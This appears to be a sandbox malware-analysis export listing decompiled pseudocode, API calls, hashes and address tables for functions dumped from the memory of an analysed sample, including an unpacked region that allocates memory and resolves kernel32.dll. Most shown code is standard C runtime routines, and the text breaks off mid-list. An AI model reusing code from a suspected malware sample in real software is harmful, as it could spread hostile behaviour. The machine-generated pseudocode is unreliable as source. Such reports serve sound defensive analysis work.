Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$PPOs$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-2828641291
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 048D003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 048D024D

Strings

kernel32.dll, xrefs: 048D008F, 048D0095
cess, xrefs: 048D018D

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 11f5f473ec3aa67179f040e0cfb4da4f48c3fc0e7c25fbbe028f7b394f278081
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 05527A74A01229DFDB64CF58C984BACBBB1BF09308F1485D9E94DAB351DB30AA84DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 048D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,048D0223,?,?), ref: 048D0E19
SetErrorMode.KERNELBASE(00000000,?,?,048D0223,?,?), ref: 048D0E1E

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 65423318659d1272999e4eec1ae4f767ccaa916434dd7fa6924140599207c111
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 18D0123154512877D7002A94DC09BCD7B1CDF05B66F008411FB0DD9080C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 048DD070 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 048E395B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 048E3970
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 048E397B
GetCurrentProcess.KERNEL32(C0000409), ref: 048E3997
TerminateProcess.KERNEL32(00000000), ref: 048E399E

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: d8f6cac90b7911adfa0d0e6c6b26c376e29dc7b12d495563601a4a6fa37dd688
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: 8321E3B8B01204EFD720DF69E9496557FB0FB08356F804179E90D87662E7B86A82CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x80a8bc1
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x80a8bc1
				_v812 = _t12;
				_t13 =  *0x422238; // 0xf7f5743e
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 048E2658 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(004123AF), ref: 048E265D

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Uniqueness

Uniqueness Score: -1.00%

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004123F1() {

				SetUnhandledExceptionFilter(E004123AF);
				return 0;
			}

0x004123f6
0x004123fe

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x80a8bc1
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
